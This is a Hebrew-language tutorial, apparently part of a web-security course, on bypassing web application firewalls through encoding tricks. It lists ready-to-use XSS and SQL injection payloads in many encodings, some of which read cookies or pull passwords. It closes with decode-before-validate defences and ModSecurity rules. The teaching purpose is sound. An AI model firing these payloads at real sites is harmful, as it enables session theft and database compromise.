עקיפה באמצעות קידוד - Encoding-based WAF Bypass¶
הרעיון המרכזי¶
רוב ה-WAFs מחפשים דפוסים בצורה הגולמית של הבקשה. אם נקודד את המטען הזדוני בשיטת קידוד שה-WAF לא מפענח אך השרת כן - נעקוף את ההגנה. הטריק הוא למצוא פער בין מה שה-WAF רואה למה שהאפליקציה מעבדת.
קידוד URL - URL Encoding¶
קידוד URL בודד - Single URL Encoding¶
קידוד רגיל של תווים למבנה %XX לפי ערך ה-hex שלהם ב-ASCII:
דוגמאות:
# מטען XSS מקורי
<script>alert(1)</script>
# עם קידוד URL
%3Cscript%3Ealert(1)%3C%2Fscript%3E
# קידוד חלקי - רק תווים מסוימים
%3Cscript%3Ealert(1)%3C/script%3E
# מטען SQLi מקורי
' UNION SELECT username, password FROM users--
# עם קידוד URL
%27%20UNION%20SELECT%20username%2C%20password%20FROM%20users--
רוב ה-WAFs מפענחים קידוד URL בודד, אז טכניקה זו לבדה לרוב לא מספיקה.
קידוד URL כפול - Double URL Encoding¶
כאשר השרת מבצע שני שלבי פענוח (למשל, reverse proxy שמפענח ואז השרת מפענח שוב), אפשר לקודד פעמיים:
# שלב 1: < הופך ל-%3C
# שלב 2: % הופך ל-%25, אז %3C הופך ל-%253C
# מטען XSS בקידוד כפול
%253Cscript%253Ealert(1)%253C%252Fscript%253E
# WAF רואה: %3Cscript%3E (לא מזהה כמטען)
# שרת מפענח שלב 1: %3Cscript%3E
# שרת מפענח שלב 2: <script>alert(1)</script>
# SQLi בקידוד כפול
1%2527%2520UNION%2520SELECT%25201--
# WAF רואה: 1%27%20UNION%20SELECT%201--
# שרת מפענח: 1' UNION SELECT 1--
קידוד חלקי - Partial Encoding¶
קידוד רק חלק מהתווים כדי לשבור את הדפוס שה-WAF מחפש:
# WAF מחפש: <script>
# נקודד רק חלק מהמילה
<%73cript>alert(1)</script> # קידוד 's'
<scr%69pt>alert(1)</script> # קידוד 'i'
<script>a%6cert(1)</script> # קידוד 'l' בתוך alert
קידוד Unicode - Unicode Encoding¶
רצפי Unicode Escape¶
בהקשרים של JavaScript, אפשר להשתמש ברצפי Unicode:
// מקורי
alert(1)
// עם Unicode escapes
\u0061\u006c\u0065\u0072\u0074(1)
// חלקי
al\u0065rt(1)
// בתוך מחרוזת
eval('\u0061lert(1)')
קידוד UTF-8 ארוך - Overlong UTF-8 Encoding¶
ב-UTF-8, תווי ASCII (0x00-0x7F) מיוצגים בבית אחד. אבל אפשר לייצג אותם בצורה ארוכה יותר (לא חוקית לפי הסטנדרט, אך חלק מהפרסרים מקבלים):
# התו < (0x3C) ב-UTF-8 רגיל: 0x3C (בית אחד)
# בייצוג ארוך של 2 בתים: 0xC0 0xBC
# בייצוג ארוך של 3 בתים: 0xE0 0x80 0xBC
# דוגמה בבקשת HTTP (hex)
GET /?q=%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE
תווי Unicode ברוחב מלא - Full-width Characters¶
תווי Unicode יפניים ברוחב מלא נראים דומה לתווי ASCII רגילים:
# תווים רגילים -> תווים ברוחב מלא
< -> < (U+FF1C)
> -> > (U+FF1E)
( -> ( (U+FF08)
) -> ) (U+FF09)
' -> ' (U+FF07)
# מטען XSS עם תווים ברוחב מלא
<script>alert(1)</script>
# אם האפליקציה מנרמלת (NFKC), התווים יהפכו לתווים רגילים
ניצול נורמליזציית Unicode¶
import unicodedata
# הדגמה - תווים שונים שמתנרמלים לאותו דבר
payloads = [
"<script>", # תווים ברוחב מלא
"\uff1cscript\uff1e", # אותו דבר ב-escape
]
for p in payloads:
normalized = unicodedata.normalize('NFKC', p)
print(f"מקורי: {p}")
print(f"לאחר NFKC: {normalized}")
print()
# פלט:
# מקורי: <script>
# לאחר NFKC: <script>
קידוד Hex¶
ישויות HTML בהקסדצימלי - HTML Hex Entities¶
<!-- מקורי -->
<script>alert(1)</script>
<!-- עם ישויות hex -->
<script>alert(1)</script>
<!-- עם אפסים מובילים (padding) -->
<script>alert(1)</script>
<!-- עם נקודה-פסיק אופציונלית (בחלק מהדפדפנים) -->
<scriptϪlert(1)</script>
קידוד Hex ב-JavaScript¶
// מקורי
alert(1)
// עם hex escapes
\x61\x6c\x65\x72\x74(1)
// בתוך מחרוזת
eval("\x61\x6c\x65\x72\x74\x28\x31\x29")
// ניתן לשלב עם קידוד רגיל
\x61lert(1)
ישויות HTML בעשרוני - Decimal HTML Entities¶
<!-- מקורי -->
<script>alert(1)</script>
<!-- עם ישויות עשרוניות -->
<script>alert(1)</script>
<!-- עם אפסים מובילים -->
<script>alert(1)</script>
<!-- ערבוב hex ו-decimal -->
<script>alert(1)</script>
קידוד ישויות HTML - HTML Entity Encoding¶
ישויות בשם - Named Entities¶
<!-- רלוונטי בעיקר בהקשר של HTML attributes -->
<img src=x onerror="alert(1)">
<!-- ישויות נפוצות -->
< = <
> = >
& = &
" = "
' = '
<!-- שימוש בתוך attribute -->
<a href="javascript:<script>alert(1)</script>">click</a>
ישויות עם אפסים מובילים - Zero-padded Entities¶
<!-- הדפדפן מפענח ישויות עם אפסים מובילים -->
< = < (עם 5 אפסים)
< = < (עם 3 אפסים)
< = < (עם אפס אחד)
<!-- מטען עם אפסים -->
<script>alert(1)</script>
<!-- WAF לא תמיד יודע לפענח ישויות עם אפסים -->
שרשראות קידוד - Mixed Encoding Chains¶
הטכניקה החזקה ביותר - שילוב מספר שכבות קידוד:
# שכבה 1: קידוד HTML entities בתוך attribute
<img src=x onerror="alert(1)">
# שכבה 2: קידוד URL של ה-HTML entities
<img src=x onerror="%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B1%26%2341%3B">
# שכבה 3: קידוד URL כפול
%3Cimg%20src%3Dx%20onerror%3D%22%2526%252397%253B%2526%2523108%253B%2526%2523101%253B%2526%2523114%253B%2526%2523116%253B%2526%252340%253B1%2526%252341%253B%22%3E
שרשרת קידוד לעקיפת SQLi¶
# מטען מקורי
' UNION SELECT password FROM users--
# שלב 1: hex encode של מחרוזות
' UNION SELECT password FROM users--
-> ' UNION SELECT 0x70617373776f7264 FROM users--
# שלב 2: קידוד URL של הגרש והרווחים
%27%20UNION%20SELECT%200x70617373776f7264%20FROM%20users--
# שלב 3: קידוד URL כפול אם רלוונטי
%2527%2520UNION%2520SELECT%25200x70617373776f7264%2520FROM%2520users--
קידוד Base64 בהקשרים ספציפיים¶
// שימוש ב-atob לפענוח Base64
eval(atob('YWxlcnQoMSk='))
// atob('YWxlcnQoMSk=') = 'alert(1)'
// דרך Function constructor
new Function(atob('YWxlcnQoMSk='))()
// דרך location
location='javascript:'+atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==')
// atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==') = 'alert(document.cookie)'
קידוד אוקטלי ב-JavaScript¶
// מקורי
alert(1)
// אוקטלי בתוך מחרוזת
eval('\141\154\145\162\164\50\61\51')
// \141 = a, \154 = l, \145 = e, \162 = r, \164 = t, \50 = (, \61 = 1, \51 = )
// שילוב עם תווים רגילים
eval('\141lert(1)')
JSFuck וקוד JavaScript לא אלפאנומרי¶
JSFuck הוא שיטה לכתוב כל קוד JavaScript עם 6 תווים בלבד: []()!+
// alert(1) ב-JSFuck
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]
[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]
+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+
[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][](<#>)+[])[+!+[]]+(![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][](<#>)+[])[+[]]+([]
[(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+
[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+
[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]
+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]
)()
// הקוד הזה לגמרי תקין וירוץ כ-alert(1)
// WAF כמעט בטוח לא יזהה את זה
טכניקות נוספות של JavaScript לא אלפאנומרי:
// שימוש ב-constructor chain
[]['constructor']['constructor']('alert(1)')()
// עם קידוד
[][[]+[]][0]['constructor']('alert(1)')()
שימוש ב-Burp Hackvertor לשרשראות קידוד¶
תוסף Hackvertor של Burp Suite מאפשר בניית שרשראות קידוד בקלות:
# תחביר Hackvertor - תגיות מקוננות
<@urlencode><@hex_entities><script>alert(1)</script><@/hex_entities><@/urlencode>
# קידוד URL כפול
<@urlencode><@urlencode>' UNION SELECT 1--<@/urlencode><@/urlencode>
# Base64 ואז URL encode
<@urlencode><@base64>alert(document.cookie)<@/base64><@/urlencode>
# שרשרת מורכבת
<@urlencode><@html_entities><@unicode_escapes>alert(1)<@/unicode_escapes><@/html_entities><@/urlencode>
דוגמה מעשית עם Burp Repeater¶
POST /search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
q=<@urlencode_all><script>alert(document.cookie)</script><@/urlencode_all>
התוסף יקודד אוטומטית לפני שליחת הבקשה:
POST /search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e
מטענים מוכנים לעקיפה באמצעות קידוד¶
מטעני XSS¶
<!-- קידוד URL כפול -->
%253Csvg%2520onload%253Dalert(1)%253E
<!-- ישויות HTML מעורבות -->
<img src=x onerror="alert(1)">
<!-- Unicode escapes בתוך JavaScript -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<!-- Base64 עם eval -->
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<!-- אוקטלי -->
<img src=x onerror="eval('\141\154\145\162\164\50\61\51')">
מטעני SQLi¶
-- קידוד hex של מחרוזות
1' UNION SELECT 0x61646d696e, 0x70617373776f7264--
-- קידוד URL כפול של גרש ורווחים
1%2527%2520UNION%2520SELECT%25201--
-- שילוב CHAR() לבניית מחרוזות
1' UNION SELECT CHAR(97,100,109,105,110)--
-- קידוד Unicode של תווים קריטיים
1\u0027 UNION SELECT 1--
הגנה - Decode Before Validate¶
העיקרון המרכזי בהגנה נגד עקיפות קידוד:
# הגנה נכונה - פענוח לפני בדיקה
import urllib.parse
import html
def sanitize_input(user_input):
# שלב 1: פענוח URL (כולל כפול)
decoded = urllib.parse.unquote(user_input)
prev = None
while decoded != prev:
prev = decoded
decoded = urllib.parse.unquote(decoded)
# שלב 2: פענוח ישויות HTML
decoded = html.unescape(decoded)
# שלב 3: נורמליזציית Unicode
import unicodedata
decoded = unicodedata.normalize('NFKC', decoded)
# שלב 4: בדיקה על הצורה המפוענחת (canonical form)
if is_malicious(decoded):
raise SecurityException("Blocked!")
return decoded
# חוקת ModSecurity נכונה - עם טרנספורמציות
SecRule ARGS "@rx <script>" \
"id:1001,\
phase:2,\
deny,\
t:urlDecode,\
t:urlDecode,\
t:htmlEntityDecode,\
t:lowercase,\
t:compressWhitespace"
הנקודה הקריטית: WAF שלא מבצע decode מספיק שכבות - פגיע לעקיפה באמצעות קידוד.
סיכום¶
עקיפה באמצעות קידוד היא מהטכניקות הבסיסיות אך עדיין יעילות ביותר. המפתח הוא למצוא את הפער בין מה שה-WAF מפענח לבין מה שהאפליקציה מפענחת. שרשראות קידוד מורכבות, שילוב של שיטות קידוד שונות, וקידוד חלקי - כולם כלים בארגז הכלים שלנו. בתרגיל הבא נתרגל טכניקות אלו מול כללי ModSecurity CRS.